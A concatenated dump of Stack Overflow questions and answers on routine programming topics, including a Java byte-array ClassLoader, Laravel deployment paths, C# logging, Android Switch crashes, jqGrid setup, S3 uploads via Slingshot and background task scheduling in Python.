23661274	0	 <p>If you dont want to use an external library, you need to write your own ClassLoader. The most simple implementation i found is <a href="https://kenai.com/projects/btrace/sources/hg/content/src/share/classes/com/sun/btrace/MemoryClassLoader.java?rev=452" rel="nofollow">here</a>.</p> <pre><code>/* * Copyright 2008-2010 Sun Microsystems, Inc. All Rights Reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Sun designates this * particular file as subject to the "Classpath" exception as provided * by Sun in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara, * CA 95054 USA or visit www.sun.com if you need additional information or * have any questions. */ package com.sun.btrace; /** * A simple class loader that loads from byte buffer. * * @author A. Sundararajan */ final class MemoryClassLoader extends ClassLoader { MemoryClassLoader() { this(null); } MemoryClassLoader(ClassLoader parent) { super(parent); } Class loadClass(String className, byte[] buf) throws ClassNotFoundException { return defineClass(className, buf, 0, buf.length); } } </code></pre>
22135976	0	 <p>Did you try <a href="http://wwww.myserver.com/app/public" rel="nofollow">http://wwww.myserver.com/app/public</a> ?</p> <p>If you didn't configure your bootstrap/paths.php and public/index.php, your site should open via <a href="http://wwww.myserver.com/app/public" rel="nofollow">http://wwww.myserver.com/app/public</a>. But you also have to configure the database paths and credentials in app/config/database.php</p> <p>In a normal setup, only the contents of your Laravel project's "public" folder should be placed in your "app" folder. All the other files are kept in a separate folder, in the root of your server. </p> <p>This article shows how to configure the paths: <a href="http://myquickfix.co.uk/2013/08/hosting-laravel-4-on-cpanel-type-hosting-public_html/" rel="nofollow">http://myquickfix.co.uk/2013/08/hosting-laravel-4-on-cpanel-type-hosting-public_html/</a></p>
2954900	0	Simple MultiThread Safe Log Class <p>What is the best approach to creating a simple multithread safe logging class? Is something like this sufficient? How would I purge the log when it's initially created?</p> <pre><code>public class Logging { public Logging() { } public void WriteToLog(string message) { object locker = new object(); lock(locker) { StreamWriter SW; SW=File.AppendText("Data\\Log.txt"); SW.WriteLine(message); SW.Close(); } } } public partial class MainWindow : Window { public static MainWindow Instance { get; private set; } public Logging Log { get; set; } public MainWindow() { Instance = this; Log = new Logging(); } } </code></pre>
40027897	0	 <p>Your regular expression has nested quantifiers (e.g. <code>(a+)*</code>). This <a href="https://swtch.com/~rsc/regexp/regexp1.html" rel="nofollow">works well with re2</a> but <a href="http://www.regular-expressions.info/catastrophic.html" rel="nofollow">not with most other regular expression engines</a>.</p>
14296186	0	 <p>I think your current regexp isn't working because it's matching the entire line. Just eyeballing it, it looks like you're matching the opening string "<code>&lt;input</code>" then as many characters as you can, with the final character being something other than a <code>/</code>, and then the closing <code>&gt;</code>.</p> <p>In the case of <code>&lt;input type='submit' value='Save' /&gt;&lt;/td&gt;&lt;/tr&gt;</code> since it's greedy, it'll run all the way to the last <code>&gt;</code> that works. Which happens to be the <code>&gt;</code> for the <code>td</code> (since your grep finishes with a <code>.</code>) </p> <p>As a bit of a hack-y replacement (I'm sure there's a more elegant way to do this..):</p> <pre><code>grep -P -o "&lt;input.*?(?&lt;=( .)|([^/]))&gt;" test.html </code></pre> <p>(grep 2.6.3/cygwin if that's of relevance)</p> <p>which roughly translates: get me anything starting with "<code>&lt;input</code>", then ending with "<code>&gt;</code>" (lazily), then look back and check that either that the 2nd last character before the closing <code>&gt;</code> isn't a space, or that the last character isn't a close slash.</p> <p>if test.html has (for argument's sake):</p> <pre><code>&lt;input type='submit' value='Save' /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;input type="text" name="name" id="name"/&gt; &lt;input type='submit' value='Save'&gt; &lt;a&gt;&lt;input type="blah" /&gt;&lt;/a&gt; &lt;input/&gt; &lt;input&gt;&lt;/i&gt; </code></pre> <p>the output is:</p> <pre><code>&lt;input type='submit' value='Save' /&gt; &lt;input type='submit' value='Save'&gt; &lt;input type="blah" /&gt; &lt;input&gt; </code></pre> <p>More generally though, if you're looking to test for compliance with xhtml, would <a href="http://lxml.de/parsing.html" rel="nofollow">lxml</a> make your life easier?</p>
13313728	0	 <p>Replace NSNull objects with nil.</p> <p>This will prevent your crash from accessing "objectForKey" (doesNotRecognizeSelector).</p>
15051944	0	 <p>Try <code>M-x string-insert-rectangle</code>. This command inserts a string on every line of the rectangle.</p>
31146357	0	 <p>You're very likely missing a DLL. Try running the generated <code>.exe</code> file straight from windows console, as it often reports which DLL is missing. Come back with the error you're getting.</p> <p>I haven't used VS2005, but maybe you're missing the VC++2005 Redistributable (available <a href="https://www.microsoft.com/en-us/download/details.aspx?id=3387" rel="nofollow">here</a>).</p>
10439382	0	Change img src in responsive designs? <p>I'm about to code a responsive layout which will probably contain three different "states".</p> <p>The quirky part is that much of the text, for example menu items will be images – not my idea and that's nothing i can change i'm afraid.</p> <p>Since the images will differ slightly, other than size, for each state (for example in the smallest state the menu becomes floating buttons instead of a regular header), i will need to switch images instead of just scaling the same ones.</p> <p>If it weren't for that i'd probably go with "adaptive-images.com".</p> <p>So, i need some input on a best practice solution for this.</p> <p>What i could think of:</p> <ul> <li><p>Loading the images as backgrounds – feels a little bit filthy.</p></li> <li><p>Insert both versions and toggle css display property – very filthy!</p></li> <li><p>Write a javascript that sets all img links – feels a bit overkill?</p></li> </ul> <p>Anyone sitting on a good solution? :)</p>
39232791	0	how to get the same font effect in photoshop image <p>I am really new at photoshop and I created some some effect on text few days back now I Want to get the same effect and apply it again in different image It's basically a date and now I want to modify it but I need same effect</p> <p>Here is the image that I created <a href="https://i.stack.imgur.com/2WwCG.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2WwCG.jpg" alt="enter image description here"></a></p> <p>I now want to edit it to todays date but I don't remember how I did.. Please help me people..</p>
14221388	0	 <p>So your problem is that it affects other queries than the main query, if I understand your situation correctly. This is pretty much why <a href="http://codex.wordpress.org/Function_Reference/is_main_query" rel="nofollow">is_main_query</a> exists. So try this:</p> <pre><code>function hide_some_posts( $query ) { if (!is_user_logged_in() &amp;&amp; $query-&gt;is_main_query() ) { $query-&gt;set( 'meta_query', array( array( 'key' =&gt; 'smartPrivate', 'value' =&gt; 'smartPrivate_loggedIn', 'compare' =&gt; '!=' ), array( 'key' =&gt; 'smartPrivate', 'value' =&gt; 'smartPrivate_loggedInMentors', 'compare' =&gt; '!=' ) )); } return $query; } add_filter( 'pre_get_posts', 'hide_some_posts' ); </code></pre>
36565701	0	 <p>Well, in <code>combineTours</code> function you're calling <code>.pop()</code> method on one array and <code>.shift()</code> method on another, which removes one element from each of these arrays. In <code>calculateAllSavings</code> you're calling <code>calculateSaving</code> in a loop and it's calling <code>combineTours</code>, so you're effectively removing all elements from the sub-arrays.</p> <p>Maybe you should just remove these lines from <code>combineTours</code>:</p> <pre><code>tourA.pop(); tourB.shift(); </code></pre> <p>For the future: use <a href="https://developer.mozilla.org/en/docs/Web/API/Console/log" rel="nofollow"><code>console.log()</code></a> for debugging, it could help you identify the issue.</p>
36596218	0	The application, MyEAR, is trying to modify a cookie which matches a pattern in the restricted programmatic session cookies list <p>I am getting below exception while deploying my application on WebSphere Application Server 8.5.5 </p> <p>java.lang.RuntimeException: SRVE8111E: The application, MyEAR, is trying to modify a cookie which matches a pattern in the restricted programmatic session cookies list [domain=*, name=JSESSIONID, path=/]. </p> <p>I found that if I remove below entry from my web.xml [session-config], then no error is shown with deployment and every things works fine. </p> <pre><code>&lt;cookie-config&gt; &lt;http-only&gt;true&lt;/http-only&gt; &lt;/cookie-config&gt; &lt;tracking-mode&gt;COOKIE&lt;/tracking-mode&gt; </code></pre> <p>The same ear is able to deploy and run perfectly with JBOSS and WebLogic server. </p> <p>Please let me know what configuration change I have to do in which xml file to overcome this issue. </p> <p>My application has application.xml, jboss-deployment-structure.xml and weblogic-application.xml. </p> <p>Thanks in advance. </p>
26224226	0	async nodejs execution order <p>When does processItem start executing. Does it start as soon as some items are pushed onto the queue? Or must the for loop finish before the first item on the queue starts executing?</p> <pre><code>var processItem = function (item, callback) { console.log(item) callback(); } var myQueue = async.queue(processItem, 2) for (index = 0; index &lt; 1000; ++index) { myQueue.push(index) } </code></pre>
1210397	0	 <p>Outer joins can be viewed as a hack because SQL lacks "navigation". </p> <p>What you have is a simple if-statement situation.</p> <pre><code>for line in someRangeOfLines: for col in someRangeOfCols: try: cell= FooVal.objects().get( col = col, line = line ) except FooVal.DoesNotExist: cell= None </code></pre> <p>That's what an outer join really is -- an attempted lookup with a NULL replacement.</p> <p>The only optimization is something like the following.</p> <pre><code>matrix = {} for f in FooVal.objects().all(): matrix[(f.line,f.col)] = f for line in someRangeOfLines: for col in someRangeOfCols: cell= matrix.get((line,col),None) </code></pre>
12492112	0	 <p>It looks like you're source code and binary are out of sync, ie. you're debugging a DLL/EXE that has been compiled with different version of the source code. </p> <p>During debug activate the Debug->Windows->Modules window and check that the DLL/EXE you're debugging is the same as the one you've been compiling with your source code (check date/times, symbol files etc.).</p>
8176402	0	 <p>Both dates are indeed slightly different. Quick example to show the difference:</p> <pre><code>NSDate *one = [[NSDate alloc]initWithTimeIntervalSinceNow:4000000]; NSDate *two = [[NSDate alloc]initWithTimeIntervalSinceNow:4000000]; NSComparisonResult difference = [two compare:one]; NSLog(@"Date one: %@",one); NSLog(@"Date two: %@",two); NSLog(@"Exact difference: %ld",difference); </code></pre> <p>Output:</p> <pre><code>Date one: 2012-01-03 07:47:40 +0000 Date two: 2012-01-03 07:47:40 +0000 Exact difference: 1 </code></pre> <p><strong>EDIT</strong></p> <p><code>isEqualToDate:</code> returns <code>true</code> in the following example:</p> <pre><code>NSDate *one = [[NSDate alloc]initWithTimeIntervalSince1970:4000000]; NSDate *two = [[NSDate alloc]initWithTimeIntervalSince1970:4000000]; if ([one isEqualToDate:two]) NSLog(@"Equal"); </code></pre> <p>Output:</p> <pre><code>Equal </code></pre>
7402852	0	 <p>You could do this, and give up the exactly on the hour, but it will be close...</p> <p>(Example came from a app I was debuging)</p> <pre><code>cron: - description: Description of what you want done... url: /script/path/goes/here schedule: every 60 minutes synchronized timezone: America/New_York </code></pre> <p>Below is a screenshot of the logs, the app gets no traffic right now, 99% of those entries are all the cron entry.</p> <p><img src="https://i.stack.imgur.com/DPk1a.png" alt="enter image description here"></p> <p>--- <strong><em>edit</em></strong> ---</p> <p>Just re-read the docs as well and maybe this might be better,</p> <pre><code> schedule: every 60 minutes from 00:00 to 23:59 </code></pre>
25622987	0	Authenticating the cobrand <p>I created a new developer account and I am having a problem authenticating with the REST API.</p> <pre><code>POST https://rest.developer.yodlee.com/services/srest/restserver/v1.0/authenticate/coblogin { cobrandLogin: 'sbCob*****', cobrandPassword: '**********' } </code></pre> <p>the system responds with:</p> <pre><code>{ Error: [ { errorDetail: 'Internal Core Error has occurred' } ] } </code></pre> <p>am I doing something wrong?</p>
18059638	0	PHP array into Javascript Array <p>Afternoon all. The code below works perfectly, however, I need to pull each row of the php sql array out and into the script var. Any ideas on how to write a while loop that could do this? Thanks for any help</p> <pre><code> var enableDays = ["&lt;?php echo mysql_result($result, 0, 'date'); ?&gt;"]; enableDays.push("&lt;?php echo mysql_result($result, 1, 'date'); ?&gt;"); </code></pre> <p>Additional Code::</p> <pre><code>$rows = array(); while ($row = mysql_fetch_assoc($result)) { $rows[] = $row; } var enableDays = [&lt;?php echo json_encode($rows); ?&gt;]; console.log(enableDays[1]); </code></pre>
10447660	0	Switch View on Gingerbread <p>I've coded an app which uses Switch as a toggler. When I run it on ICS I have no problems, but when I run it on gingerbread it crashes:</p> <pre><code>05-04 11:00:43.261: E/AndroidRuntime(1455): FATAL EXCEPTION: main 05-04 11:00:43.261: E/AndroidRuntime(1455): java.lang.RuntimeException: Unable to start activity ComponentInfo{it.android.smartscreenon/it.android.smartscreenon.ActivityImpostazioni}: android.view.InflateException: Binary XML file line #58: Error inflating class Switch 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1768) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:1784) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.app.ActivityThread.access$1500(ActivityThread.java:123) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:939) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.os.Handler.dispatchMessage(Handler.java:99) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.os.Looper.loop(Looper.java:130) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.app.ActivityThread.main(ActivityThread.java:3835) 05-04 11:00:43.261: E/AndroidRuntime(1455): at java.lang.reflect.Method.invokeNative(Native Method) 05-04 11:00:43.261: E/AndroidRuntime(1455): at java.lang.reflect.Method.invoke(Method.java:507) 05-04 11:00:43.261: E/AndroidRuntime(1455): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:847) 05-04 11:00:43.261: E/AndroidRuntime(1455): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:605) 05-04 11:00:43.261: E/AndroidRuntime(1455): at dalvik.system.NativeStart.main(Native Method) 05-04 11:00:43.261: E/AndroidRuntime(1455): Caused by: android.view.InflateException: Binary XML file line #58: Error inflating class Switch 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.view.LayoutInflater.createViewFromTag(LayoutInflater.java:581) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.view.LayoutInflater.rInflate(LayoutInflater.java:623) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.view.LayoutInflater.rInflate(LayoutInflater.java:626) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.view.LayoutInflater.rInflate(LayoutInflater.java:626) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.view.LayoutInflater.rInflate(LayoutInflater.java:626) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.view.LayoutInflater.inflate(LayoutInflater.java:408) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.view.LayoutInflater.inflate(LayoutInflater.java:320) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.view.LayoutInflater.inflate(LayoutInflater.java:276) 05-04 11:00:43.261: E/AndroidRuntime(1455): at com.android.internal.policy.impl.PhoneWindow.setContentView(PhoneWindow.java:212) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.app.Activity.setContentView(Activity.java:1657) 05-04 11:00:43.261: E/AndroidRuntime(1455): at it.android.smartscreenon.ActivityImpostazioni.onCreate(ActivityImpostazioni.java:43) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1047) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1722) 05-04 11:00:43.261: E/AndroidRuntime(1455): ... 11 more 05-04 11:00:43.261: E/AndroidRuntime(1455): Caused by: java.lang.ClassNotFoundException: android.view.Switch in loader dalvik.system.PathClassLoader[/data/app/it.android.smartscreenon-1.apk] 05-04 11:00:43.261: E/AndroidRuntime(1455): at dalvik.system.PathClassLoader.findClass(PathClassLoader.java:240) 05-04 11:00:43.261: E/AndroidRuntime(1455): at java.lang.ClassLoader.loadClass(ClassLoader.java:551) 05-04 11:00:43.261: E/AndroidRuntime(1455): at java.lang.ClassLoader.loadClass(ClassLoader.java:511) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.view.LayoutInflater.createView(LayoutInflater.java:471) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.view.LayoutInflater.onCreateView(LayoutInflater.java:549) 05-04 11:00:43.261: E/AndroidRuntime(1455): at com.android.internal.policy.impl.PhoneLayoutInflater.onCreateView(PhoneLayoutInflater.java:66) 05-04 11:00:43.261: E/AndroidRuntime(1455): at android.view.LayoutInflater.createViewFromTag(LayoutInflater.java:568) 05-04 11:00:43.261: E/AndroidRuntime(1455): ... 23 more </code></pre> <p>It looks like Switch doesn't exist on Gingerbread. How can I solve the problem?</p>
20740949	0	 <p>You should use set_error_handler() to check the error return from the SQL call. For instance:</p> <pre><code>set_error_handler( "NormalErrorHandler" ) ; function NormalErrorHandler( $errno, $errstr, $errfile, $errline ) { $ErrType = DecodeErrno( $errno ) ; $Backtrace = debug_backtrace() ; // The first item in debug_backtrace() is this function, so no use printing it unset( $Backtrace[ 0 ] ) ; $FullError = "Server: {$_SERVER['SERVER_NAME']}\nIP: {$_SERVER['REMOTE_ADDR']}\n" . "$ErrType: $errstr\nLine: $errline\nFile: $errfile\n" . "debug_backtrace():\n" . print_r( $Backtrace, TRUE ) . "GLOBALS:\n" . print_r( $GLOBALS, TRUE ) ; die( $FullError ) ; } </code></pre>
29594782	0	 <p>one thing that is missing is the <code>authorize</code> function in the directive, which is required (see the <a href="https://atmospherejs.com/edgee/slingshot" rel="nofollow">API</a>) so add</p> <pre><code>Slingshot.createDirective("Test", Slingshot.S3Storage, { bucket: "test", acl: "public-read", authorize: function () { // do some validation // e.g. deny uploads if user is not logged in. if (!this.userId) { throw new Meteor.Error(403, "Login Required"); } return true; }, key: function (file) { return file.name; } }); </code></pre> <p>Please note that also <code>maxSize</code> and <code>allowedFileTypes</code> are required, so you should add to client and server side code (e.g. in lib/common.js)</p> <pre><code>Slingshot.fileRestrictions("Test", { allowedFileTypes: ["image/png", "image/jpeg", "image/gif"], maxSize: 10 * 1024 * 1024 // 10 MB (use null for unlimited) }); </code></pre> <p>hope that helps.</p>
36383307	0	Should i use delete[] in a function? <pre><code>void work() { int *p; p=new int[10]; //some code.... } </code></pre> <p>I have a short question that in the <strong>work</strong> function, should i use delete[] operator? since when <strong>work</strong> function is over, <strong>p</strong> will be destroyed, which is wrong or right ? (My English is bad, i am sorry).</p>
4160505	0	How can I Center an image within a fixed specified crop frame with graphicsmagick C library <p>Hey, I was wondering if someone knows a good way to scale an image while maintaining aspect ratio, and then center it with respect to a specified fixed crop area.</p> <p>The first part is straight forward (resizing while maintaining ratio), just need help with the second part. </p> <p>Here is a link to something that does this with php and image gd.. <a href="http://stackoverflow.com/questions/3255773/php-crop-image-to-fix-width-and-height-without-losing-dimension-ratio">PHP crop image to fix width and height without losing dimension ratio</a></p> <p>Another link to what I want to achieve is the "Crop" strategy on this page: <a href="http://transloadit.com/docs/image-resize#resize-strategies" rel="nofollow">http://transloadit.com/docs/image-resize#resize-strategies</a></p> <p>I want to do this using the graphicsmagick C library.</p> <p>Thanks a lot.</p>
3996939	0	how to use operators while making calc in java <p>i used this code and I am having problem in the very basic step of how to use operator. Moreover I am even having problem taking more then 1 digit. If you please just add up the missing statements which would help me out. In the given code I have removed those steps that created problems in <code>actionPerformed</code> function</p> <pre><code>import java.awt.*; import javax.swing.*; import java.awt.event.*; import javax.swing.event.*; public class calculator1 implements ActionListener { private JFrame f; private JButton a,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15; JTextField tf; String msg=""; public calculator1() { f=new JFrame("Calculator"); f.setLayout(null); a=new JButton("1"); a.setActionCommand("1"); a1=new JButton("2"); a1.setActionCommand("2"); a2=new JButton("3"); a2.setActionCommand("3"); a3=new JButton("4"); a3.setActionCommand("4"); a4=new JButton("5"); a4.setActionCommand("5"); a5=new JButton("6"); a5.setActionCommand("6"); a6=new JButton("7"); a6.setActionCommand("7"); a7=new JButton("8"); a7.setActionCommand("8"); a8=new JButton("9"); a8.setActionCommand("9"); a9=new JButton("0"); a9.setActionCommand("0"); a10=new JButton("+"); a10.setActionCommand("+"); a11=new JButton("-"); a11.setActionCommand("-"); a12=new JButton("*"); a12.setActionCommand("*"); a13=new JButton("/"); a13.setActionCommand("/"); a14=new JButton("="); a14.setActionCommand("="); a15=new JButton("00"); a15.setActionCommand("00"); tf= new JTextField(30); } public void launchframe() { f.setSize(500,600); a.setBounds(100,200,50,50); a.addActionListener(this); a1.setBounds(160,200,50,50); a1.addActionListener(this); a2.setBounds(220,200,50,50); a2.addActionListener(this); a3.setBounds(100,300,50,50); a3.addActionListener(this); a4.setBounds(160,300,50,50); a4.addActionListener(this); a5.setBounds(220,300,50,50); a5.addActionListener(this); a6.setBounds(100,400,50,50); a6.addActionListener(this); a7.setBounds(160,400,50,50); a7.addActionListener(this); a8.setBounds(220,400,50,50); a8.addActionListener(this); a9.setBounds(100,500,50,50); a9.addActionListener(this); a10.setBounds(300,200,50,50); a10.addActionListener(this); a11.setBounds(300,300,50,50); a11.addActionListener(this); a12.setBounds(300,400,50,50); a12.addActionListener(this); a13.setBounds(300,500,50,50); a13.addActionListener(this); a14.setBounds(160,500,50,50); a14.addActionListener(this); a15.setBounds(220,500,50,50); a15.addActionListener(this); f.add(a); f.add(a1); f.add(a2); f.add(a3); f.add(a4); f.add(a5); f.add(a6); f.add(a7); f.add(a8); f.add(a9); f.add(a10); f.add(a11); f.add(a12); f.add(a13); f.add(a14); f.add(a15); tf.setBounds(100,150,250,30); f.add(tf); f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); f.setVisible(true); } public void actionPerformed(ActionEvent ae) { String s=ae.getActionCommand(); tf.setText(s); } public static void main(String[]arg) { calculator1 c1=new calculator1(); c1.launchframe(); } } </code></pre>
22457685	0	 <p>inttypes is a c99 header. probably your compiler does not fully support c99. you may try <code>#include &lt;cinttypes&gt;</code> which is the c++ variant. or the more basic stdint.h or cstdint</p>
2607564	0	 <p>If you are simply geocoding cities, you may want to consider starting to build your own cities-to-coordinates cache.</p> <p>This is one approach that you may want to consider: </p> <ul> <li>Prompt the user to enter a city name.</li> <li>First issue an AJAX request to your server to check if that city name is present in your cache.</li> <li>If it is, proceed your JavaScript logic, as if you obtained the coordinates from the Google Geocoder.</li> <li>If the city name was not present in your cache, send a request to the Google Geocoder, as you are currently doing.</li> <li>If the Google Geocoder returns a positive result, issue another AJAX request to your server in order to store this city and its coordinates in your cache. You will never ask Google again for the coordinates of this city. Then proceed normally within your JavaScript application.</li> <li>If the Google Geocoder returns "Unknown address" tell the user that this city name was not found, and suggest to retry using a more common city name. Keep note of the original city name that was attempted. Test the second attempt with the Google Geocoder, and if it succeeds, save into your cache both synonyms of the city name (the first one attempted, and the second on that succeeded if not already present). </li> </ul> <p>With this approach you can also seed your cache, in such a way to resolve city names which you are already aware that Google is not able to geocode.</p>
30134037	0	 <p>It finally worked. Thank you @Oleg! I saw another post here <a href="http://goo.gl/Pg5CMn" rel="nofollow">http://goo.gl/Pg5CMn</a></p> <p>Additionally, I figured that I was making another mistake. I forgot to enclose btnContactList in double quotes. After debugging in Internet explorer, I found that out. Secondly, as @Oleg suggested that the jsonReader attribute is required. Probably because of the version of jqGrid that I am using.</p> <pre><code>&lt;script type="text/javascript"&gt; $(document).ready(function () { //alert("this is a test"); $("#btnContactList").click(function () { $("#ContactTable").jqGrid({ url: "/Contact/ContactList", datatype: "json", colNames: ["ID", "First Name", "Last Name", "EMail"], colModel: [ { name: "ContactId", index: "ContactId", width: 80 }, { name: "FirstName", index: "FirstName", width: 100 }, { name: "LastName", index: "LastName", width: 100 }, { name: "EMail", index: "EMail", width: 200 } ], //data: result, mtype: 'GET', loadonce: true, viewrecords: true, gridview: true, caption: "List Contact Details", emptyrecords: "No records to display", jsonReader: { repeatitems: false, //page: function () { return 1; }, root: function (obj) { return obj; }, //records: function (obj) { return obj.length; } }, loadComplete: function () { alert("Complete ok!") }, loadError: function (jqXHR, textStatus, errorThrown) { alert('HTTP status code: ' + jqXHR.status + '\n' + 'textstatus: ' + textstatus + '\n' + 'errorThrown: ' + errorThrown); alert('HTTP message body (jqXHR.responseText: ' + '\n' + jqXHR.responseText); } }); alert("after completion"); }); }); &lt;/script&gt; </code></pre>
39248968	0	 <pre><code>SELECT A.SETMOD, B.DESCRP FROM PMS.PSBSTTBL A JOIN PMS.PR029TBL B ON A.SETMOD =convert(decimal, B.PAYMOD) </code></pre>
40802499	0	Symfony Doctrine Migration error <p>When install <code>doctrine/doctrine-migrations-bundle</code> have error</p> <pre><code>FatalErrorException in appDevDebugProjectContainer.php line 4719: Parse Error: syntax error, unexpected ':', expecting ';' or '{' "require": { "php": "&gt;=5.5.9", "symfony/symfony": "3.1.6", "doctrine/orm": "^2.5", "doctrine/doctrine-bundle": "^1.6", "doctrine/doctrine-cache-bundle": "^1.2", "symfony/swiftmailer-bundle": "^2.3", "symfony/monolog-bundle": "^2.8", "symfony/polyfill-apcu": "^1.0", "sensio/distribution-bundle": "^5.0", "sensio/framework-extra-bundle": "^3.0.2", "incenteev/composer-parameter-handler": "^2.0", "doctrine/doctrine-migrations-bundle": "^1.0" }, </code></pre> <p>when deleted doctrine/doctrine-migrations-bundle in composer and all work</p> <pre><code> - Removing doctrine/doctrine-migrations-bundle (v1.2.0) - Removing doctrine/migrations (1.4.1) - Removing ocramius/proxy-manager (2.0.4) - Removing zendframework/zend-code (3.1.0) - Removing zendframework/zend-eventmanager (3.0.1) - Removing ocramius/package-versions (1.1.1) </code></pre> <p>my version php (5.6.28-1) without migration bundle everything fine how to fix this ?</p>
29600147	0	How to get total number of hours between two dates in javascript? <p>I am in a situation where I need to find out the total hour difference between two date objects but the thing is dates aren't present in the actual format.</p> <p><code>Date 1: 6 Apr, 2015 14:45</code><br> <code>Date 2: 7 May, 2015 02:45</code></p> <p>If it would have been in standard format, simply I would have been used below method: <code>var hours = Math.abs(date1 - date2) / 36e5;</code></p> <p>I am not sure how do I get the hour difference here... please help.</p>
19204442	1	nested dictionary get keys sorted by values <p>I'm using a dictionary that has nested dictionaries:</p> <pre><code>dicc={ 'a': {'a1': 1 }, 'b':{'b1':2 }, 'c':{'c1':3 } } # This is an example. I have lots of other keys and values. </code></pre> <p>I need to get the keys ordered by the values. For example, getting <code>c,b,a</code> values: I will work on them in this order; first I need to use <code>c</code> to do other operations then <code>b</code> then <code>a</code>.</p> <p>I used this to get the max value but I need all the values and use them in order mayor to minor:</p> <pre><code>valores=list(diccionario.values()) claves= list(diccionario.keys()) value_= claves[valores.index(max(valores))] </code></pre> <p>edit: i need to get c,b,a sorted on this order and without using a b c , because c has the highest c1 value etc.. ok that works to sort a dict in reverse way but lets say i have this data:</p> <p>1000 10 20 7 2 0</p> <p>1001 3 30 3 5 0</p> <p>1002 3 10 5 3 0</p> <p>1003 7 22 3 1 0</p> <p>second column is a prior, all this is stored into a dictionary the main keys are 1000,1001,1002,1003, the rest are values, i want to get 1000,1003,1002,1001 (this last have same prior) on this order, </p>
15913829	0	 <p>Your <code>getPhrase</code> should look like this:</p> <pre><code>std::string getPhrase() { std::string result; std::cout &lt;&lt; "Enter phrase: "; std::getline(std::cin, result); return result; } </code></pre> <p>Then:</p> <pre><code>int main() { std::string phrase = getPhrase(); // ... } </code></pre>
16700408	0	 <p>If you really want to use NodeList, you can do this:</p> <pre><code>nList.item(i).setNodeValue(a.item(i).getNodeValue()); </code></pre> <p>The better way to do it is just with a List as cmbaxter suggested, though.</p> <pre><code>List&lt;Node&gt; nodes = new ArrayList&lt;Node&gt;(); </code></pre>
614075	0	 <p>This <a href="http://cbcg.net/talks/rubyidioms/" rel="nofollow noreferrer">slideshow</a> is quite complete on the main Ruby idioms, as in:</p> <ul> <li><p>Swap two values: </p> <p><code>x, y = y, x</code></p></li> <li><p>Parameters that, if not specified, take on some default value</p> <p><code>def somemethod(x, y=nil)</code></p></li> <li><p>Batches up extraneous parameters into an array</p> <p><code>def substitute(re, str, *rest)</code></p></li> </ul> <p>And so on...</p>
26363844	0	 <p>As pointed out by @user3894601, the problem was solved by using the original cable, and using a USB adapter.</p>
13077956	0	 <p>First let my say that I have not used APScheduler myself yet, and have next to no knowledge about running Python servers (or anything else really) on Windows and IIS. <br> So I can only guess here, but it seems clear that your problem is related to APScheduler in a way. I could imagine that something goes wrong in a thread that APScheduler uses for your background tasks, and the hanging thread brings down your whole application, due to the GIL (global interpreter lock in Python). This could for example happen when your thread(s) run into some kind of race condition. Maybe it happens that processing starts before the previous iteration has finished processing. Or you get a really big backlog, and that leads to problems when processing starts.</p> <p>Anyway, I think task queues are much better suited for background processing in web applications, because they run separately and out of the context of your web server. You can schedule a task as soon as it's triggered by some user action, and it will be processed as soon as a worker is available, and not be deferred until a certain point in time.<br> I would recommend to give <a href="http://celeryproject.org/" rel="nofollow">Celery</a> a try, but there are also other solutions available, many based on Redis.</p> <p>Celery is really powerful, and has advanced features like periodic tasks and crontab style schedules - so you can probably use it to do what you are doing using APScheduler now.</p> <p>This looked very helpful for setting up Celery under Windows: <a href="http://mrtn.me/blog/2012/07/04/django-on-windows-run-celery-as-a-windows-service/" rel="nofollow">http://mrtn.me/blog/2012/07/04/django-on-windows-run-celery-as-a-windows-service/</a> <br> This may also prove helpful: <a href="http://stackoverflow.com/questions/9378932/how-to-create-celery-windows-service">How to create Celery Windows Service?</a> <br>Note: I haven't tried any of these myself, since I use Linux if I have a choice.</p> <p>It's probably also possible to get APScheduler to work correctly, but I think it will be much easier to use Celery, because if a problem occurs in a worker you will be able to debug it much easier than a problem occuring in a background thread. Celery can also be configured to automatically send you email in case of an error.</p>
